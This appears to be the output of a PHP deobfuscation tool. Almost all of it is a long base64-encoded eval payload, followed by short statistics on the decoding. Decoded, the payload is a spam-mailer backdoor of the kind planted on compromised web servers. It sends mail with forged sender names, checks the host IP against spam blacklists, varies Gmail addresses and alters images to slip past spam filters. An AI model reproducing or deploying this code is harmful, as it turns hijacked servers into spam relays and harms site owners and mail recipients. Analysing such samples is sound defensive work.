jYXhhcXINCn1lbHNle3ByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjsjZHFianpnaHgKfX1lbHNleyMjI21uZg0KaWYoQ2hlY2tNYWlsKCRlbWFpbCwkcmVwbHl0bywkZnJvbV9uYW1lKSl7Ly9ic2JvCnByaW50ICcqbWFpbDpvayonLiRjcmxmO31lbHNle3ByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjsjIyN1d2pybHBsCn19fWVsc2V7Ly8vZ3p4ZXVzZWFwDQpwcmludCAnKm1haWw6YmFkKicuJGNybGY7fX1pZihpc3NldCgkX1BPU1RbJ3JiJ10pPT09dHJ1ZSl7JHJibD1yYmwoKTsvLy9iYXhtd25rCmlmKCRyYmw9PScnKXtwcmludCAnKnJibDpvayonO31lbHNley8vL2lscXdkcgpwcmludCAnKnJibDonLiRyYmwuJyonO319fWZ1bmN0aW9uIHJhbmRTdHJpbmcoJG1pbiwkbWF4KXskc3RyPSdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7JHNpemU9cmFuZCgkbWluLCRtYXgpOyAkcmVzdWx0PScnOy8vL2l0cnV5CmZvcigkYz0wOyRjPCRzaXplOyRjKyspeyRyZXN1bHQuPSRzdHJ7cmFuZCgwLHN0cmxlbigkc3RyKS0xKX07Ly8vcmpwc29hZnhmDQp9cmV0dXJuICRyZXN1bHQ7fS8vL2duaW5saHkNCmZ1bmN0aW9uIHJibCgpey8vcGxndXZ0aGlkDQokZG5zYmxfY2hlY2s9YXJyYXkoJ2IuYmFycmFjdWRhY2VudHJhbC5vcmcnLCd4Ymwuc3BhbWhhdXMub3JnJywnc2JsLnNwYW1oYXVzLm9yZycsJ3plbi5zcGFtaGF1cy5vcmcnLCdibC5zcGFtY29wLm5ldCcpOyRpcD1nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICRyZXN1bHQ9Jyc7IyMjeXltDQppZigkaXApeyRyaXA9aW1wbG9kZSgnLicsYXJyYXlfcmV2ZXJzZShleHBsb2RlKCcuJywkaXApKSk7Zm9yZWFjaCgkZG5zYmxfY2hlY2sgYXMgJHZhbCl7aWYoY2hlY2tkbnNycigkcmlwLicuJy4kdmFsLicuJywnQScpKSRyZXN1bHQuPSR2YWwuJywgJzsjIyNkcG9odGxpem5yDQp9I2Z1bG1ibAppZihzdHJsZW4oJHJlc3VsdCk+Mil7IHJldHVybiBzdWJzdHIoJHJlc3VsdCwwLC0yKTsgfWVsc2V7IHJldHVybiAnJzsgfX1lbHNle3JldHVybiAnKnJibDp1bmtub3duKic7fS8vL2lnc3hieHAKcmV0dXJuICcnOyMjI2F6em50dHNzdgp9IyMjaWhpbmZjCmZ1bmN0aW9uIENoZWNrTWFpbCgkdG8sJHJlcGx5LCRmcm9tX25hbWUpeyRoZWFkZXI9J0Zyb206ICcuJz0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUocmFuZFRleHQoKSkuJz89Jy4nIDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPlxyXG4iOyRoZWFkZXIuPSdNSU1FLVZlcnNpb246IDEuMCcuIlxyXG4iOyRoZWFkZXIuPSdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7JGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7JGhlYWRlci49J1gtTWFpbGVyOiBQSFAvJy5waHB2ZXJzaW9uKCk7Ly9tY25sZ3ZiDQojeGt5c2VmcQokbWVzc2FnZT10ZXh0KCk7IyMja2hzaw0KJHN1YmplY3Q9JF9TRVJWRVJbJ0hUVFBfSE9TVCddOy8vbXFhbmxtYw0KaWYobWFpbCgkdG8sJHN1YmplY3QsJG1lc3NhZ2UsJGhlYWRlcikpe3JldHVybiB0cnVlO31yZXR1cm4gZmFsc2U7fSNsbXN3c20KZnVuY3Rpb24gQ2hlY2tBdHRhY2goJHRvLCRyZXBseSwkZnJvbV9uYW1lKXsjIyNyeWNseXZycmgKJG1lc3NhZ2U9dGV4dCgpOyRzdWJqZWN0PSRfU0VSVkVSWydIVFRQX0hPU1QnXTskZmlsZW5hbWU9ZmlsZW5hbWUoJzEudHh0Jyk7ICRib3VuZGFyeT1tZDUodW5pcWlkKCkpOyRoZWFkZXJzPSdNSU1FLVZlcnNpb246IDEuMCcuIlxyXG4iOyRoZWFkZXJzLj0nRnJvbTogJy4nPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZShyYW5kVGV4dCgpKS4nPz0nLicgPCcuJGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLic+Jy4iXHJcbiI7JGhlYWRlcnMuPSdSZXBseS1UbzogJy4kcmVwbHkuIlxyXG4iOyRoZWFkZXJzLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKS4iXHJcbiI7JGhlYWRlcnMuPSdDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IicuJGJvdW5kYXJ5LiJcIlxyXG5cclxuIjsjaGNod3hjdAovLy96Y3Vua3B3CiRib2R5PSctLScuJGJvdW5kYXJ5LiJcclxuIjsvLy91ZWtwZWQNCiRib2R5Lj0nQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOy8vL29nZ3JhemYNCiRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcblxyXG4iOyRib2R5Lj1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRtZXNzYWdlKSk7JGJvZHkuPSAnLS0nLiRib3VuZGFyeS4iXHJcbiI7I3VrbGZybG1hDQokYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsvLy9ybHBleWxreGMKJGJvZHkuPSdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsjaWF6DQokYm9keS49J0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCcuIlxyXG4iOyRib2R5Lj0nWC1BdHRhY2htZW50LUlkOiAnLnJhbmQoMTAwMCw5OTk5OSkuIlxyXG5cclxuIjsvL3dqZHhqDQokYm9keS49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUodGV4dCgpKSk7I2Fhb3hmZ2R0CmlmKG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXJzKSl7cmV0dXJuIHRydWU7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gc3RyX3JlcGxhY2Vfb25jZSgkc2VhcmNoLCRyZXBsYWNlLCR0ZXh0KXskcG9zPXN0cnBvcygkdGV4dCwgJHNlYXJjaCk7cmV0dXJuICRwb3MhPT1mYWxzZSA/IHN1YnN0cl9yZXBsYWNlKCR0ZXh0LCRyZXBsYWNlLCRwb3Msc3RybGVuKCRzZWFyY2gpKSA6ICR0ZXh0O30vL2R4aAojbGV5cnNtam1kDQpmdW5jdGlvbiBmaWxlbmFtZSgkbmFtZSl7Ly8vdWRhCiRmb3JtYXQ9ZW5kKGV4cGxvZGUoJy4nLCRuYW1lKSk7I2ljaHBvYQ0KJGFycmF5W109J1NEQyc7ICRhcnJheVtdPSdQJzsgJGFycmF5W109J0RDJzsgJGFycmF5W109J0NBTSc7ICRhcnJheVtdPSdJTUctJzsvLy9wZmZoam4NCiRpbWc9YXJyYXkoJ3BuZycsJ2pwZycsJ2dpZicsJ2pwZWcnLCdibXAnKTtmb3IoJGM9MCwkbWF4PXNpemVvZigkaW1nKTskYzwkbWF4OyRjKyspe2lmKHN0cnRvbG93ZXIoJGZvcm1hdCk9PSRpbWdbJGNdKXskcmFuZD1yYW5kKDEwLDk5OTk5OSk7cmV0dXJuICRhcnJheVtyYW5kKDAsNCldLiRyYW5kLicuJy4kZm9ybWF0O319I3FjbWRyY3cNCnJldHVybiByYW5kVGV4dCgpLicuJy4kZm9ybWF0O30jdWJleGFrYXAKZnVuY3Rpb24gZmlsZVN0cmluZygkbmFtZSl7JGZvcm1hdD1lbmQoZXhwbG9kZSgnLicsJG5hbWUpKTtpZihzdHJ0b2xvd2VyKCRmb3JtYXQpPT0nanBlZycgb3Igc3RydG9sb3dlcigkZm9ybWF0KT09J2pwZycpey8vdHNmdGlmamFvbA0KaWYoQ2hlY2tSYW5kSU1HKCkpey8vdHN1aXkNCnJldHVybiBSYW5kSU1HKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSk7fS8vL2lpZHcNCn0vL3dmdQpyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTt9ZnVuY3Rpb24gcmFuZFRleHQoKXsjIyNjeG1xeXlpCiRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzskc2l6ZT1yYW5kKDMsOCk7ICRyZXN1bHQ9Jyc7Zm9yKCRjPTA7JGM8JHNpemU7JGMrKyl7JHJlc3VsdC49JHN0cntyYW5kKDAsc3RybGVuKCRzdHIpLTEpfTsjbnBlZwp9cmV0dXJuICRyZXN1bHQ7Ly8vbmJwa3VtCn1mdW5jdGlvbiB0ZXh0KCl7JHN0cj0ncXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm0nOyRzaXplPXJhbmQoOSwyMCk7ICRyZXN1bHQ9Jyc7I3BnYXVxbApmb3IoJGM9MDskYzwkc2l6ZTskYysrKXskcmFuZD1yYW5kKDYsMTApOyMjI2xyb3JleQpmb3IoJGk9MDskaTwkcmFuZDskaSsrKXskcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9OyNmeW8NCn0kc2lnbj1hcnJheSgnICcsJyAnLCcgJywnICcsJywgJywnPyAnLCcuICcsJy4gJyk7JHJlc3VsdC49JHNpZ25bcmFuZCgwLDcpXTt9Ly9tc2RsdnMNCnJldHVybiB0cmltKCRyZXN1bHQpOy8vL2VlZnkKfWZ1bmN0aW9uIENoZWNrUmFuZElNRygpeyRhcnJheT1hcnJheSgnZ2V0aW1hZ2VzaXplJywnaW1hZ2VjcmVhdGV0cnVlY29sb3InLCdpbWFnZWNyZWF0ZWZyb21qcGVnJywnaW1hZ2Vjb3B5cmVzYW1wbGVkJywjaHlydGENCidpbWFnZWZpbHRlcicsJ29iX3N0YXJ0JywnaW1hZ2VqcGVnJywnb2JfZ2V0X2NsZWFuJyk7IyMjZHZ5DQpmb3IoJGM9MCwkbWF4PXNpemVvZigkYXJyYXkpOyRjPCRtYXg7JGMrKyl7I3J0eG9wY3F6eQppZighZnVuY3Rpb25fZXhpc3RzKCRhcnJheVskY10pKXsjZ3hxemplDQpyZXR1cm4gZmFsc2U7IyMjZGVla2wKfX0jIyNpbmplbQpyZXR1cm4gdHJ1ZTt9ZnVuY3Rpb24gUmFuZElNRygkZmlsZSl7JHJhbmRbJ3dpZHRoJ109cmFuZCgxLDIpOyRyYW5kWydoZWlnaHQnXT1yYW5kKDEsMik7I2VlY2xkc21uDQokcmFuZFsncXVhbGl0eSddPXJhbmQoMSwyKTskcmFuZFsnYnJpZ2h0bmVzcyddPXJhbmQoMSwyKTsjenp0cXFlagokcmFuZFsnY29udHJhc3QnXT1yYW5kKDEsMik7bGlzdCgkd2lkdGgsJGhlaWdodCk9Z2V0aW1hZ2VzaXplKCRmaWxlKTsjcnF0aHp1bGhtCmlmKCRyYW5kWyd3aWR0aCddPT0xKXskc2lnbj1yYW5kKDEsMik7aWYoJHNpZ249PTEpey8vL3ZnZGhsZmp4CiRuZXdfd2lkdGg9JHdpZHRoK3JhbmQoMSwxMCk7fWVsc2V7JG5ld193aWR0aD0kd2lkdGgtcmFuZCgxLDEwKTt9fWVsc2V7JG5ld193aWR0aD0kd2lkdGg7fWlmKCRyYW5kWydoZWlnaHQnXT09MSl7JHNpZ249cmFuZCgxLDIpO2lmKCRzaWduPT0xKXskbmV3X2hlaWdodD0kaGVpZ2h0K3JhbmQoMSwxMCk7fWVsc2V7JG5ld19oZWlnaHQ9JGhlaWdodC1yYW5kKDEsMTApOyMjI3N4aHBieXANCn19ZWxzZXskbmV3X2hlaWdodD0kaGVpZ2h0O31pZigkcmFuZFsncXVhbGl0eSddPT0xKXskcXVhbGl0eT03NTsjIyNheGV1bQp9ZWxzZXsvL2t5ZmprcnkKJHF1YWxpdHk9cmFuZCg2NSwxMDUpO31pZigkcmFuZFsnYnJpZ2h0bmVzcyddPT0xKXskYnJpZ2h0bmVzcz1yYW5kKDAsMzUpOy8vL2NkZQ0KfWVsc2V7Ly8vdWV6cXQKJGJyaWdodG5lc3M9MDt9aWYoJHJhbmRbJ2NvbnRyYXN0J109PTEpeyNlcnkNCiRzaWduPXJhbmQoMSwyKTtpZigkc2lnbj09MSl7ICRzaWduPScrJzsgfWVsc2V7ICRzaWduPSctJzsgfSRjb250cmFzdD1yYW5kKDEsMTUpO31lbHNleyRzaWduPScnOyRjb250cmFzdD0wO30jIyN1d25xa2xwYngKJGltYWdlX3A9aW1hZ2VjcmVhdGV0cnVlY29sb3IoJG5ld193aWR0aCwkbmV3X2hlaWdodCk7JGltYWdlPWltYWdlY3JlYXRlZnJvbWpwZWcoJGZpbGUpO2ltYWdlY29weXJlc2FtcGxlZCgkaW1hZ2VfcCwgJGltYWdlLDAsMCwwLDAsJG5ld193aWR0aCwkbmV3X2hlaWdodCwkd2lkdGgsJGhlaWdodCk7aW1hZ2VmaWx0ZXIoJGltYWdlX3AsSU1HX0ZJTFRFUl9DT05UUkFTVCwkc2lnbi4kY29udHJhc3QpO2ltYWdlZmlsdGVyKCRpbWFnZV9wLElNR19GSUxURVJfQlJJR0hUTkVTUywkYnJpZ2h0bmVzcyk7IyMjZ2x5dGRlbmRlawpvYl9zdGFydCgpOy8veGl3DQppbWFnZWpwZWcoJGltYWdlX3AsbnVsbCwkcXVhbGl0eSk7JG91dD1vYl9nZXRfY2xlYW4oKTtpbWFnZWRlc3Ryb3koJGltYWdlX3ApO3JldHVybiAkb3V0Oy8vZnB6bW56Z2puDQp9ZnVuY3Rpb24gY2hlY2tfZ21haWwoJGVtYWlsKXtpZihzdHJzdHIoJGVtYWlsLCdAZ21haWwuJykpey8vYmtncXMNCnJldHVybiBSYW5kR21haWwoJGVtYWlsKTt9ZWxzZXtyZXR1cm4gJGVtYWlsO319IyMjanNibXliDQpmdW5jdGlvbiBSYW5kR21haWwoJGVtYWlsKXsjIyN0bG5jcGV0dXp6CiRsb2dpbj1leHBsb2RlKCdAJywkZW1haWwpOyAkcmVzdWx0PScnOyRsb2dpbj1zdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCcuJywnJywkbG9naW5bMF0pKTsjYXljd2hzDQojc2Frdm1nd2wNCiRzaXplPXN0cmxlbigkbG9naW4pO2ZvcigkYz0wLCRtYXg9JHNpemU7JGM8JG1heDskYysrKXsvL3BjaGZzDQokdXA9cmFuZCgwLDEpOyAkZG90PXJhbmQoMCwxKTskc3ltYm9sPSRsb2dpbnskY307aWYoJHVwPT0xKXskc3ltYm9sPXN0cnRvdXBwZXIoJHN5bWJvbCk7fWlmKCRkb3Q9PTEpeyRzeW1ib2w9JHN5bWJvbC4nLic7I3J6d2Nqd2FrDQp9JHJlc3VsdC49JHN5bWJvbDsvLy9oZWJhbGFjDQp9IyMjdGdrYW1tZXJ6CmlmKHN1YnN0cigkcmVzdWx0LC0xKT09Jy4nKXsvL3FudWdsDQokcmVzdWx0PXN1YnN0cigkcmVzdWx0LDAsLTEpO30jIyNlYXRkZXENCnJldHVybiAkcmVzdWx0LidAZ21haWwuY29tJzsjIyNqbGUNCn0jY3NxY3B1YWUKLy8vdHB4aGZ1a2c='));

Function Calls

base64_decode 1

Variables

$bnmqk base64_decode

Stats

MD5 f5fb56baeb17ef279d8cd4db96112b59
Eval Count 1
Decode Time 95 ms